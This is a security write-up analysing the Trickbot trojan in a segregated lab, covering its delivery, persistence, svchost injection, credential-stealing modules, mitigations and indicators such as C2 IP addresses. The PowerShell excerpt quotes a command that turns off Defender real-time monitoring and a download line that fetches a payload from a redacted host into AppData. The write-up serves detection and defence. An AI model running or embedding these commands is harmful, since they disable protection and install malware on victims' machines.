FORTNETWORKS
Malware research brief

Trickbot analysis in a segregated malware network

This redesigned page turns the original article into a cleaner technical layout, with stronger hierarchy, a more modern navigation pattern, and structured image presentation for screenshots and forensic evidence.

Samplettcvc.exe
FocusBehaviour, persistence, network IOCs
ContextContained malware lab analysis
Trickbot title graphic

Overview

Analysis of Trickbot malware was performed within a segregated malware network using malicious samples from an incident response case. The original content has been retained, but the presentation is now organized for readability and a more credible technical look.

Taking a dropper executable binary for execution on a host, then monitoring it in a contained environment, enabled capture of system changes and network communications. This helped surface indicators on infected systems and network traffic associated with the malware framework.

SHA256: c1d5b3f7632669153420db62e9ab24616ddcaa85751d0114c7b7d04be12edb04

Trickbot is described as a flexible trojan malware framework that has been updated over time with modular capability such as credential theft, password grabbing and post-exploitation tooling. The write-up also notes its use as a delivery mechanism for RYUK ransomware against high-profile public sector and healthcare targets.

Delivery

Trickbot malware is commonly delivered either by malicious email attachments or through pre-existing access such as an Emotet infection. The original article notes direct delivery through spam campaigns and exploitation of Microsoft Office vulnerability CVE-2017-0199.

That technique enables Visual Basic script execution and PowerShell download activity after a user opens a crafted document. The article emphasizes how the use of PowerShell can evade detection when script activity is not centrally logged.

PowerShell download and evasion

During lab monitoring, PowerShell Module and ScriptBlock logging had been enabled, which allowed timeline correlation between the malicious executable and later PowerShell activity. This makes the sequence easier to understand when paired with the evidence screenshots below.

Timeline of Trickbot executable and PowerShell events
The controlled malware-lab timeline showing the initial executable event followed by PowerShell activity tied to the same process lineage.
PowerShell transcript excerpt
Host Application: Powershell Set-MpPreference -DisableRealtimeMonitoring $true

Example download pattern:
powershell.exe -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://**********.com/***/**.dat', $env:APPDATA + '\***.exe');

Persistence and network events

The analysis captured network traffic using Bro/Zeek logging and identified heartbeat-style traffic associated with Trickbot over ports 443 and 449. The article treats those communications, when matched to the listed C2 infrastructure, as a strong indicator worthy of investigation.

Bro log showing Trickbot traffic
Captured example of network traffic associated with Trickbot communications.
Autoruns output highlighting Trickbot persistence
Persistence artefacts highlighted through Autoruns, pointing to malicious executables in roaming-profile paths.

The write-up further notes registry run-key persistence and references suspicious executables under AppData roaming locations. These are now grouped visually so related screenshots are presented side by side rather than scattered through the page.

Operation and exploitation modules

Once active, the malware injects into svchost.exe and establishes communications with command-and-control endpoints. The original content links that activity to MITRE ATT&CK process injection and to the broader pattern of browser credential theft and post-exploitation staging.

Process Explorer showing injected svchost process
Process Explorer view showing the injected svchost process and related directory context.
TCP properties of malicious svchost process
TCP view showing communications from the infected process to suspicious infrastructure.
Trickbot gtag screenshot
Example of the group tag assigned to the infected host by the Trickbot infrastructure.
File timeline showing Trickbot modules
Forensic timeline excerpt showing downloaded modules and associated configuration artefacts.
Trickbot modules folder screenshot
Module DLLs observed during the forensic review, presented here in a larger single frame for easier reading.
  • VncDll64 allows an attacker to remotely view and control a victim desktop.
  • pwgrab64 harvests saved user credentials from browsers, registry keys, and programs such as Outlook.
  • mailsearcher64 searches local files using a predefined extension list.
  • wormDll64 supports propagation using SMB-related techniques.

Mitigation guidance

The article argues that, although the malware is evasive and polymorphic, its artefacts, behaviours and network callouts still create useful detection opportunities. Defensive improvements focus on email security, PowerShell logging, behavioural anti-malware, IDS visibility and network segmentation.

MITRE ATT&CK slide for Trickbot stages
MITRE ATT&CK-aligned stage mapping included as a full-width visual because it works better as a focal diagram than as an inline image.
  • Disable macros where possible to reduce the success of malicious document delivery.
  • Enable PowerShell auditing, especially Script Block and Module logging, and forward events centrally.
  • Use behavioural endpoint protection to detect suspicious process creation and injection.
  • Use IDS visibility and JA3-based detection where relevant to identify malicious encrypted sessions.
  • Restrict lateral movement with segmentation, port controls, and removal of legacy SMBv1 usage.

Investigation IOCs

  • 197.232.50.85:443
  • 41.211.9.234:449
  • 5.135.202.105:443
  • 182.50.64.148:449
  • 192.243.101.134:443
  • JA3 fingerprint: 6734f37431670b3ab4292b8f60f29984
  • Unexpected svchost.exe execution from roaming-profile style paths can indicate process injection.
  • Folders of interest: AppData\Roaming\smectr, AppData\Roaming\vcmsd, AppData\Roaming\stsvc

References